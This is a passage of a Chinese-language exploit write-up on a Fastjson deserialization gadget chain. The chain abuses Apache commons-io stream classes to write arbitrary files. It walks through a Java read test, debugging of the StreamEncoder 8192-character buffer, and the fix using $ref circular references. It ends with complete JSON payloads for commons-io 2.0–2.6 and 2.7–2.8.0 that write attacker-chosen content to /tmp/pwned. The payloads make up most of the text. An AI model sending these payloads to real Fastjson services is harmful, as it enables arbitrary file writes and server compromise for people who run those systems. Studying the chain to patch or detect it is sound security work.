{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
  "@type":"org.apache.commons.io.input.CharSequenceReader",
  "charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
}

我们先自己在自己写一下测试，能不能读内容

package test;

import org.apache.commons.io.input.CharSequenceReader;
import org.apache.commons.io.input.ReaderInputStream;
import java.util.Scanner;

public class test_read_write {
    public static void main(String[] args) {
        CharSequence string =new String("222222");
        CharSequenceReader charSequenceReader =new CharSequenceReader(string);
        ReaderInputStream readerInputStream =new ReaderInputStream(charSequenceReader,"UTF-8",1024);

        Scanner scanner = new Scanner(readerInputStream);
        while (scanner.hasNextLine()) {
            System.out.println(scanner.nextLine());
        }
    }
}

成功读取到内容，说明我们的文件内容是可以控制的

现在只差我们构造OutputStream了，怎么才能把它输出出去

WriterOutputStream + FileWriterWithEncoding
其实它的分析和上面的read分析就是对应的了
org.apache.commons.io.output.WriterOutputStream 的构造函数接受 Writer 对象作为参数：
在这里插入图片描述
它在执行 write 方法时，会执行 flushOutput 方法，从而执行 Writer.write(char[], int, int)，通过 Writer 来输出：

在这里插入图片描述 org.apache.commons.io.output.FileWriterWithEncoding 的构造函数接受 File 对象作为参数，并最终以 File 对象构建FileOutputStream 文件输出流：

在这里插入图片描述
因此组合一下 WriterOutputStream 和 FileWriterWithEncoding，就能构建得到输出到指定文件的 OutputStream。

组合poc

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
  "@type":"org.apache.commons.io.input.CharSequenceReader",
  "charSequence":{"@type":"java.lang.String""aaaaaa"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
  },
  "branch":{
  "@type":"org.apache.commons.io.output.WriterOutputStream",
  "writer": {
  "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
  "file": "/tmp/pwned",
  "encoding": "UTF-8",
  "append": false
  },
  "charsetName": "UTF-8",
  "bufferSize": 1024,
  "writeImmediately": true
  },
  "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

我们尝试去运行，发现确实创建了我们的文件，但是奇怪的是没有内容在里面

出现问题和分析

我们只能调试寻找问题，主要是关注我们的字节流

首先我们需要知道这个国产有哪些环节，才能了解错误的过程

上面的过程无非就是两步，第一个是读取文件内容，一个是写入文件内容

经过调试，发现读取文件内容是读取到了的，那就是写入的问题

最后根据参考的分析，问题是出现在sun.nio.cs.StreamEncoder#implWrite这里

while(var4.hasRemaining()) {
            CoderResult var5 = this.encoder.encode(var4, this.bb, false);
            if (var5.isUnderflow()) {
                assert var4.remaining() <= 1 : var4.remaining();

                if (var4.remaining() == 1) {
                    this.haveLeftoverChar = true;
                    this.leftoverChar = var4.get();
                }
                break;
            }

            if (var5.isOverflow()) {
                assert this.bb.position() > 0;

                this.writeBytes();
            } else {
                var5.throwException();
            }
        }

可以看到这里会有个判断，`if (var5.isUnderflow()) {
assert var4.remaining() <= 1 : var4.remaining();

            if (var4.remaining() == 1) {
                this.haveLeftoverChar = true;
                this.leftoverChar = var4.get();
            }
            break;
        }

        if (var5.isOverflow()) {
            assert this.bb.position() > 0;

            this.writeBytes();`

必须var5.isOverflow()才可以写入
如果var5.isUnderflow()成立，那么表示输入已被解码或编码。这个时候如果ByteBuffer (var4) 中还剩下一个字符，它会被取出并保存，下一次可以继续对这个字符的操作。
如果var5.isOverflow()成立，表示ByteBuffer没有足够的空间来存储解码或编码后的结果。在这种情况下，这段代码将ByteBuffer的内容写入到输出流中，以释放空间。

那根据这个代码，意思是我们的内容没有被写入字节流的原因是我们的内容不够大，被ByteBuffer存起来了，那到底多大呢？

这个是根据我们var5判断的，我们看看 CoderResult var5 = this.encoder.encode(var4, this.bb, false);这个代码过程和isUnderflow()这个方法
先看这个方法比较简单

public boolean isUnderflow() {
        return (type == CR_UNDERFLOW);
    }

就是比较type和CR_UNDERFLOW，主要是观察我们的type是怎么来的，因为CR_UNDERFLOW是个定值

我们根据var5赋值过程，首先进入encode方法
关键代码部分

CoderResult cr;
            try {
                cr = encodeLoop(in, out);
            } catch (BufferUnderflowException x) {
                throw new CoderMalfunctionError(x);
            } catch (BufferOverflowException x) {
                throw new CoderMalfunctionError(x);
            }

            if (cr.isOverflow())
                return cr;

            if (cr.isUnderflow()) {
                if (endOfInput && in.hasRemaining()) {
                    cr = CoderResult.malformedForLength(in.remaining());
                    // Fall through to malformed-input case
                } else {
                    return cr;

经过我们调试发现type是在我们的cr之中的
在这里插入图片描述
我们关注cr是怎么来的，跟进cr = encodeLoop(in, out);

protected final CoderResult encodeLoop(CharBuffer var1, ByteBuffer var2) {
            return var1.hasArray() && var2.hasArray() ? this.encodeArrayLoop(var1, var2) : this.encodeBufferLoop(var1, var2);
        }

会进入this.encodeArrayLoop(var1, var2)
跟进
这个方法关键返回两种结果，一种是

return CoderResult.UNDERFLOW

这种type就是=0
一种是return overflow(var1, var4, var2, var7);
返回的是return CoderResult.OVERFLOW;
type就是1，所以这里就是我们能不能write的核心地方
我们看看是怎么才能返回return CoderResult.OVERFLOW;`

  for(; var4 < var5; ++var4) {
                char var10 = var3[var4];
                if (var10 < 128) {
                    if (var7 >= var8) {
                        return overflow(var1, var4, var2, var7);
                    }

else if (var10 < 2048) {
                    if (var8 - var7 < 2) {
                        return overflow(var1, var4, var2, var7);
                    }

等等，逻辑复杂起来了,靠不想分析了，直接给结论

在这里插入图片描述
可以看到最大限制就是我们的8182，那我们直接发一个超过的数据就好了

但是真的是这样的吗？

在这里插入图片描述
也就是说每次读取或者写入的字节数最多也就是 4096，但 Writer buffer 大小默认是 8192

所以直接写一堆数据是没有用的

循环引用解决问题

聪明的作者想到了一点，我们多次往里面写入就好了
有过 fastjson 代码分析经验的读者也许会猜到解决办法，那就是通过 $ref 循环引用，多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次，直到 overflow 为止，就能触发实际的文件写入操作。

最终poc

commons-io 2.0 - 2.6 版本

{
  "x":{
  "@type":"com.alibaba.fastjson.JSONObject",
  "input":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
  "@type":"org.apache.commons.io.input.CharSequenceReader",
  "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
  },
  "branch":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.output.WriterOutputStream",
  "writer":{
  "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
  "file":"/tmp/pwned",
  "encoding":"UTF-8",
  "append": false
  },
  "charsetName":"UTF-8",
  "bufferSize": 1024,
  "writeImmediately": true
  },
  "trigger":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger2":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger3":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  }
  }
}

commons-io 2.7 - 2.8.0 版本：

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192，实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }